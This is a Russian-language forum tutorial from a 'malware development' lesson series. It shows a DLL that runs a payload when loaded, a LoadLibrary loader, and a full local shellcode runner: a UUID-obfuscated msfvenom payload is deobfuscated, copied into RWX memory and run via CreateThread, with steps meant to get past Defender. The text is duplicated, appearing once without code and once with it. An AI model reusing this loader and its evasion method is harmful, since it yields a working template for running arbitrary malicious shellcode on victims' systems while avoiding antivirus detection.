Предлагаю в этой статье исследовать использование динамических библиотек (DLL) в качестве полезной нагрузки и попробовать загрузить вредоносный файл DLL в текущем процессе.
Создание DLL
Создание DLL просто и может быть выполнено с помощью Visual Studio.
Создайте новый проект, выберите язык программирования C++, а затем выберите Динамически-связанную библиотеку (DLL).
Это создаст код-скелет DLL, который будет изменяться в этой статье.
Если вы хотите освежить свои знания о том, как работают DLL, то можете обратится к этой статье:Уроки - Разработка малвари - 5. Изучаем динамические библиотеки
В этой статье будет использовано диалоговое окно, которое появляется, когда DLL успешно загружена.
Создание диалогового окна можно легко сделать с помощью MessageBox из WinAPI.
Приведенный ниже фрагмент кода будет запускать MsgBoxPayload каждый раз, когда DLL загружается в процесс.
Обратите внимание, что предварительно скомпилированные заголовки были удалены из настроек C/C++ проекта, как показано здесь Уроки - Разработка малвари - 5. Изучаем динамические библиотеки
Напомним, что WinAPI LoadLibrary используется для загрузки DLL. Функция принимает путь к DLL на диске и загружает его в адресное пространство вызывающего процесса, который в нашем случае будет текущим процессом. Загрузка DLL запустит ее точку входа, а значит, выполнится функция MsgBoxPayload, и появится диалоговое окно. Хотя концепция проста, это станет полезным в последующих статьях для понимания более сложных техник.
Ниже приведенный код примет имя DLL в качестве аргумента командной строки, загрузит его с помощью LoadLibraryA и выполнит проверку ошибок, чтобы убедиться, что DLL загрузилась успешно.
Вывод
Как и ожидалось, после внедрения DLL успешно появляется диалоговое окно.
Анализ процесса
Для дополнительной проверки того, что DLL загружена в процесс, запустите Process Hacker, дважды щелкните по процессу, который загрузил DLL, и перейдите на вкладку "Модули". Имя DLL должно появиться в списке модулей. Нажав на имя DLL, можно получить дополнительную информацию о ней, такую как импорт, подпись и названия разделов.
Теперь предлагаю рассмотреть однин из самых простых способов выполнения shellcode путем создания нового потока.
Несмотря на простоту этой техники, важно понимать, как она работает, так как это лежит в основе более сложных методов выполнения shellcode.
Метод, обсуждаемый в этой статье, использует Windows API: VirtualAlloc, VirtualProtect и CreateThread. Важно отметить, что этот метод никоим образом не является скрытной техникой, и EDR (Endpoint Detection and Response) почти наверняка обнаружит эту простую технику выполнения shellcode.
С другой стороны, антивирусы потенциально могут быть обойдены с использованием этого метода при достаточной обфускации.
Необходимые Windows API
Хорошей отправной точкой будет изучение документации по Windows API, которые будут использоваться:
Полезная нагрузка, используемая в этой статье, будет сгенерированной с помощью Msfvenom x64 calc payload.
Чтобы демонстрация была реалистичной, будет предпринята попытка обхода Defender, и поэтому обфускация или шифрование полезной нагрузки будут необходимы.
Для обфускации полезной нагрузки будет использоваться программа
Запустите следующую команду:
Вывод следует сохранить в переменную UuidArray.
Выделение памяти
VirtualAlloc используется для выделения памяти размером sDeobfuscatedSize. Размер sDeobfuscatedSize определяется функцией UuidDeobfuscation, которая возвращает общий размер деобфусцированной полезной нагрузки.
Функция Windows API VirtualAlloc выглядит следующим образом согласно ее документации:
Тип выделения памяти указан как MEM_RESERVE | MEM_COMMIT, что будет резервировать диапазон страниц в виртуальном адресном пространстве вызывающего процесса и выделять физическую память для этих зарезервированных страниц. Комбинированные флаги обсуждаются отдельно:
Запись полезной нагрузки в память
Затем байты деобфусцированной полезной нагрузки копируются в новый выделенный регион памяти по адресу pShellcodeAddress, а затем pDeobfuscatedPayload очищается, перезаписывая его нулями. pDeobfuscatedPayload - это базовый адрес, выделенный кучей функцией UuidDeobfuscation, которая возвращает байты сырой полезной нагрузки shellcode. Он был перезаписан нулями, так как больше не требуется, и, таким образом, это снизит вероятность обнаружения полезной нагрузки в памяти системами безопасности.
Изменение защиты памяти
Перед выполнением полезной нагрузки необходимо изменить защиту памяти, так как в данный момент разрешена только операция чтения/записи. VirtualProtect используется для изменения защиты памяти, и для выполнения полезной нагрузки ей понадобится либо PAGE_EXECUTE_READ, либо PAGE_EXECUTE_READWRITE.
Функция VirtualProtect WinAPI выглядит следующим образом на основе ее документации:
Хотя некоторые shellcode требуют PAGE_EXECUTE_READWRITE, такие как саморасшифровывающийся shellcode, для Msfvenom x64 calc shellcode это не требуется, но приведенный ниже фрагмент кода использует эту защиту памяти.
Выполнение полезной нагрузки через CreateThread
Наконец, полезная нагрузка выполняется путем создания нового потока с помощью функции CreateThread Windows API и передачи pShellcodeAddress, который является адресом shellcode.
Функция CreateThread WinAPI выглядит следующим образом на основе ее документации:
Выполнение полезной нагрузки через указатель на функцию
В качестве альтернативы существует более простой способ выполнения shellcode без использования Windows API CreateThread. В приведенном ниже примере shellcode приводится к указателю функции VOID и shellcode выполняется как указатель на функцию. Код по сути переходит к адресу pShellcodeAddress.
Это эквивалентно выполнению кода ниже:
CreateThread против выполнения через указатель на функцию
Хотя можно выполнить shellcode, используя метод указателя на функцию, это, как правило, не рекомендуется. Сгенерированный shellcode Msfvenom завершает вызывающий поток после завершения его выполнения. Если shellcode был выполнен с использованием метода указателя на функцию, то вызывающий поток будет основным потоком, и поэтому весь процесс завершится после завершения выполнения shellcode.
Выполнение shellcode в новом потоке предотвращает эту проблему, потому что если выполнение shellcode завершено, новый рабочий поток будет завершен, а не основной поток, предотвращая завершение всего процесса.
Ожидание выполнения потока
Выполнение shellcode с использованием нового потока без короткой задержки увеличивает вероятность завершения выполнения основного потока до завершения выполнения рабочего потока, который выполняет shellcode, что приводит к неправильной работе shellcode. Этот сценарий иллюстрируется в приведенном ниже фрагменте кода.
В предоставленной реализации используется getchar(), чтобы приостановить выполнение до тех пор, пока пользователь не предоставит ввод. В реальных реализациях следует использовать другой подход, который использует Windows API WaitForSingleObject для ожидания указанного времени до выполнения потока.
Приведенный ниже фрагмент кода использует WaitForSingleObject для ожидания завершения выполнения только что созданного потока в течение 2000 миллисекунд перед выполнением оставшегося кода.
В приведенном ниже примере WaitForSingleObject будет ждать вечно завершения выполнения нового потока.
Основная функция
Основная функция использует UuidDeobfuscation для деобфускации полезной нагрузки, затем выделяет память, копирует shellcode в регион памяти и выполняет его.
Освобождение памяти
VirtualFree - это WinAPI, который используется для освобождения ранее выделенной памяти. Эта функция должна быть вызвана только после того, как выполнение полезной нагрузки полностью завершено, иначе это может освободить содержимое полезной нагрузки и вызвать сбой процесса.
Отладка
В этом разделе реализация отлаживается с использованием отладчика xdbg для более глубокого понимания того, что происходит "под капотом".
Сначала проверьте вывод функции UuidDeobfuscation, чтобы убедиться, что возвращается действительный shellcode.
Изображение ниже показывает, что shellcode успешно деобфусцирован.
Следующим шагом является проверка того, что память выделяется с использованием Windows API VirtualAlloc. Опять же, глядя на карту памяти в нижнем левом углу, можно видеть, что память была выделена и заполнена нулями.
После успешного выделения памяти деобфусцированная полезная нагрузка записывается в буфер памяти.
Вспомните, что pDeobfuscatedPayload был обнулен, чтобы избежать наличия деобфусцированной полезной нагрузки в памяти там, где она не используется. Буфер должен быть полностью обнулен.
И, наконец, shellcode выполняется, и, как ожидалось, появляется приложение калькулятора.
Shellcode можно увидеть на вкладке памяти в Process Hacker.
Обратите внимание на то, что выделенный регион памяти имеет защиту памяти RWX, он выделяется в рантайме и, следовательно, обычно является индикатором вредоносного ПО.
Создание DLL
Создание DLL просто и может быть выполнено с помощью Visual Studio.
Создайте новый проект, выберите язык программирования C++, а затем выберите Динамически-связанную библиотеку (DLL).
Это создаст код-скелет DLL, который будет изменяться в этой статье.
Если вы хотите освежить свои знания о том, как работают DLL, то можете обратится к этой статье:Уроки - Разработка малвари - 5. Изучаем динамические библиотеки
В этой статье будет использовано диалоговое окно, которое появляется, когда DLL успешно загружена.
Создание диалогового окна можно легко сделать с помощью MessageBox из WinAPI.
Приведенный ниже фрагмент кода будет запускать MsgBoxPayload каждый раз, когда DLL загружается в процесс.
Обратите внимание, что предварительно скомпилированные заголовки были удалены из настроек C/C++ проекта, как показано здесь Уроки - Разработка малвари - 5. Изучаем динамические библиотеки
C:
#include <Windows.h>
#include <stdio.h>
VOID MsgBoxPayload() {
MessageBoxA(NULL, "Hacking With ru-sfera.pw", "Wow !", MB_OK | MB_ICONINFORMATION);
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
switch (dwReason){
case DLL_PROCESS_ATTACH: {
MsgBoxPayload();
break;
};
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Напомним, что WinAPI LoadLibrary используется для загрузки DLL. Функция принимает путь к DLL на диске и загружает его в адресное пространство вызывающего процесса, который в нашем случае будет текущим процессом. Загрузка DLL запустит ее точку входа, а значит, выполнится функция MsgBoxPayload, и появится диалоговое окно. Хотя концепция проста, это станет полезным в последующих статьях для понимания более сложных техник.
Ниже приведенный код примет имя DLL в качестве аргумента командной строки, загрузит его с помощью LoadLibraryA и выполнит проверку ошибок, чтобы убедиться, что DLL загрузилась успешно.
C:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 2){
printf("[!] Отсутствует аргумент; Нужно указать DLL для выполнения \n");
return -1;
}
printf("[i] Внедрение \"%s\" в локальный процесс с PID: %d \n", argv[1], GetCurrentProcessId());
printf("[+] Загрузка DLL... ");
if (LoadLibraryA(argv[1]) == NULL) {
printf("[!] LoadLibraryA завершилась с ошибкой: %d \n", GetLastError());
return -1;
}
printf("[+] ГОТОВО ! \n");
printf("[#] Нажмите <Enter>, чтобы выйти ... ");
getchar();
return 0;
}
Вывод
Как и ожидалось, после внедрения DLL успешно появляется диалоговое окно.
Анализ процесса
Для дополнительной проверки того, что DLL загружена в процесс, запустите Process Hacker, дважды щелкните по процессу, который загрузил DLL, и перейдите на вкладку "Модули". Имя DLL должно появиться в списке модулей. Нажав на имя DLL, можно получить дополнительную информацию о ней, такую как импорт, подпись и названия разделов.
Теперь предлагаю рассмотреть однин из самых простых способов выполнения shellcode путем создания нового потока.
Несмотря на простоту этой техники, важно понимать, как она работает, так как это лежит в основе более сложных методов выполнения shellcode.
Метод, обсуждаемый в этой статье, использует Windows API: VirtualAlloc, VirtualProtect и CreateThread. Важно отметить, что этот метод никоим образом не является скрытной техникой, и EDR (Endpoint Detection and Response) почти наверняка обнаружит эту простую технику выполнения shellcode.
С другой стороны, антивирусы потенциально могут быть обойдены с использованием этого метода при достаточной обфускации.
Необходимые Windows API
Хорошей отправной точкой будет изучение документации по Windows API, которые будут использоваться:
- VirtualAlloc - выделяет память, которая будет использоваться для хранения полезной нагрузки.
- VirtualProtect - меняет защиту памяти выделенной области на исполняемую, чтобы выполнить полезную нагрузку.
- CreateThread - создает новый поток, который выполняет полезные нагрузки.
Полезная нагрузка, используемая в этой статье, будет сгенерированной с помощью Msfvenom x64 calc payload.
Чтобы демонстрация была реалистичной, будет предпринята попытка обхода Defender, и поэтому обфускация или шифрование полезной нагрузки будут необходимы.
Для обфускации полезной нагрузки будет использоваться программа
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Запустите следующую команду:
Код:
HellShell.exe msfvenom.bin uuid
Вывод следует сохранить в переменную UuidArray.
Выделение памяти
VirtualAlloc используется для выделения памяти размером sDeobfuscatedSize. Размер sDeobfuscatedSize определяется функцией UuidDeobfuscation, которая возвращает общий размер деобфусцированной полезной нагрузки.
Функция Windows API VirtualAlloc выглядит следующим образом согласно ее документации:
C:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
Тип выделения памяти указан как MEM_RESERVE | MEM_COMMIT, что будет резервировать диапазон страниц в виртуальном адресном пространстве вызывающего процесса и выделять физическую память для этих зарезервированных страниц. Комбинированные флаги обсуждаются отдельно:
- MEM_RESERVE используется для резервирования диапазона страниц без выделения физической памяти.
- MEM_COMMIT используется для выделения диапазона страниц в виртуальном адресном пространстве процесса.
Запись полезной нагрузки в память
Затем байты деобфусцированной полезной нагрузки копируются в новый выделенный регион памяти по адресу pShellcodeAddress, а затем pDeobfuscatedPayload очищается, перезаписывая его нулями. pDeobfuscatedPayload - это базовый адрес, выделенный кучей функцией UuidDeobfuscation, которая возвращает байты сырой полезной нагрузки shellcode. Он был перезаписан нулями, так как больше не требуется, и, таким образом, это снизит вероятность обнаружения полезной нагрузки в памяти системами безопасности.
Изменение защиты памяти
Перед выполнением полезной нагрузки необходимо изменить защиту памяти, так как в данный момент разрешена только операция чтения/записи. VirtualProtect используется для изменения защиты памяти, и для выполнения полезной нагрузки ей понадобится либо PAGE_EXECUTE_READ, либо PAGE_EXECUTE_READWRITE.
Функция VirtualProtect WinAPI выглядит следующим образом на основе ее документации:
C:
BOOL VirtualProtect(
[in] LPVOID lpAddress, // Базовый адрес региона памяти, доступ к которому должен быть изменен
[in] SIZE_T dwSize, // Размер региона, атрибуты доступа к которому должны быть изменены, в байтах
[in] DWORD flNewProtect, // Новый параметр защиты памяти
[out] PDWORD lpflOldProtect // Указатель на переменную 'DWORD', которая получает предыдущее значение доступа к защите 'lpAddress'
);
Хотя некоторые shellcode требуют PAGE_EXECUTE_READWRITE, такие как саморасшифровывающийся shellcode, для Msfvenom x64 calc shellcode это не требуется, но приведенный ниже фрагмент кода использует эту защиту памяти.
Выполнение полезной нагрузки через CreateThread
Наконец, полезная нагрузка выполняется путем создания нового потока с помощью функции CreateThread Windows API и передачи pShellcodeAddress, который является адресом shellcode.
Функция CreateThread WinAPI выглядит следующим образом на основе ее документации:
C:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // Установлено в NULL - необязательно
[in] SIZE_T dwStackSize, // Установлено в 0 - по умолчанию
[in] LPTHREAD_START_ROUTINE lpStartAddress, // Указатель на функцию, которая будет выполнена потоком, в нашем случае это базовый адрес полезной нагрузки
[in, optional] __drv_aliasesMem LPVOID lpParameter, // Указатель на переменную, которая будет передана функции, выполняемой (установлено в NULL - необязательно)
[in] DWORD dwCreationFlags, // Установлено в 0 - по умолчанию
[out, optional] LPDWORD lpThreadId // указатель на переменную 'DWORD', которая получает ID потока (установлено в NULL - необязательно)
);
Выполнение полезной нагрузки через указатель на функцию
В качестве альтернативы существует более простой способ выполнения shellcode без использования Windows API CreateThread. В приведенном ниже примере shellcode приводится к указателю функции VOID и shellcode выполняется как указатель на функцию. Код по сути переходит к адресу pShellcodeAddress.
C:
(*(VOID(*)()) pShellcodeAddress)();
Это эквивалентно выполнению кода ниже:
C:
typedef VOID (WINAPI* fnShellcodefunc)(); // Определено перед основной функцией
fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
pShell();
CreateThread против выполнения через указатель на функцию
Хотя можно выполнить shellcode, используя метод указателя на функцию, это, как правило, не рекомендуется. Сгенерированный shellcode Msfvenom завершает вызывающий поток после завершения его выполнения. Если shellcode был выполнен с использованием метода указателя на функцию, то вызывающий поток будет основным потоком, и поэтому весь процесс завершится после завершения выполнения shellcode.
Выполнение shellcode в новом потоке предотвращает эту проблему, потому что если выполнение shellcode завершено, новый рабочий поток будет завершен, а не основной поток, предотвращая завершение всего процесса.
Ожидание выполнения потока
Выполнение shellcode с использованием нового потока без короткой задержки увеличивает вероятность завершения выполнения основного потока до завершения выполнения рабочего потока, который выполняет shellcode, что приводит к неправильной работе shellcode. Этот сценарий иллюстрируется в приведенном ниже фрагменте кода.
C:
int main(){
// ...
CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL); // Выполнение shellcode
return 0; // Основной поток завершен до выполнения потока, который выполняет shellcode
}
В предоставленной реализации используется getchar(), чтобы приостановить выполнение до тех пор, пока пользователь не предоставит ввод. В реальных реализациях следует использовать другой подход, который использует Windows API WaitForSingleObject для ожидания указанного времени до выполнения потока.
Приведенный ниже фрагмент кода использует WaitForSingleObject для ожидания завершения выполнения только что созданного потока в течение 2000 миллисекунд перед выполнением оставшегося кода.
C:
HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);
// Оставшийся код
В приведенном ниже примере WaitForSingleObject будет ждать вечно завершения выполнения нового потока.
C:
HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
Основная функция
Основная функция использует UuidDeobfuscation для деобфускации полезной нагрузки, затем выделяет память, копирует shellcode в регион памяти и выполняет его.
C:
int main() {
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = NULL;
printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
printf("[#] Press <Enter> To Decrypt ... ");
getchar();
printf("[i] Decrypting ...");
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}
printf("[+] DONE !\n");
printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);
printf("[#] Press <Enter> To Allocate ... ");
getchar();
PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[#] Press <Enter> To Run ... ");
getchar();
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return -1;
}
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Освобождение памяти
VirtualFree - это WinAPI, который используется для освобождения ранее выделенной памяти. Эта функция должна быть вызвана только после того, как выполнение полезной нагрузки полностью завершено, иначе это может освободить содержимое полезной нагрузки и вызвать сбой процесса.
C:
BOOL VirtualFree(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);
Отладка
В этом разделе реализация отлаживается с использованием отладчика xdbg для более глубокого понимания того, что происходит "под капотом".
Сначала проверьте вывод функции UuidDeobfuscation, чтобы убедиться, что возвращается действительный shellcode.
Изображение ниже показывает, что shellcode успешно деобфусцирован.
Следующим шагом является проверка того, что память выделяется с использованием Windows API VirtualAlloc. Опять же, глядя на карту памяти в нижнем левом углу, можно видеть, что память была выделена и заполнена нулями.
После успешного выделения памяти деобфусцированная полезная нагрузка записывается в буфер памяти.
Вспомните, что pDeobfuscatedPayload был обнулен, чтобы избежать наличия деобфусцированной полезной нагрузки в памяти там, где она не используется. Буфер должен быть полностью обнулен.
И, наконец, shellcode выполняется, и, как ожидалось, появляется приложение калькулятора.
Shellcode можно увидеть на вкладке памяти в Process Hacker.
Обратите внимание на то, что выделенный регион памяти имеет защиту памяти RWX, он выделяется в рантайме и, следовательно, обычно является индикатором вредоносного ПО.
Последнее редактирование: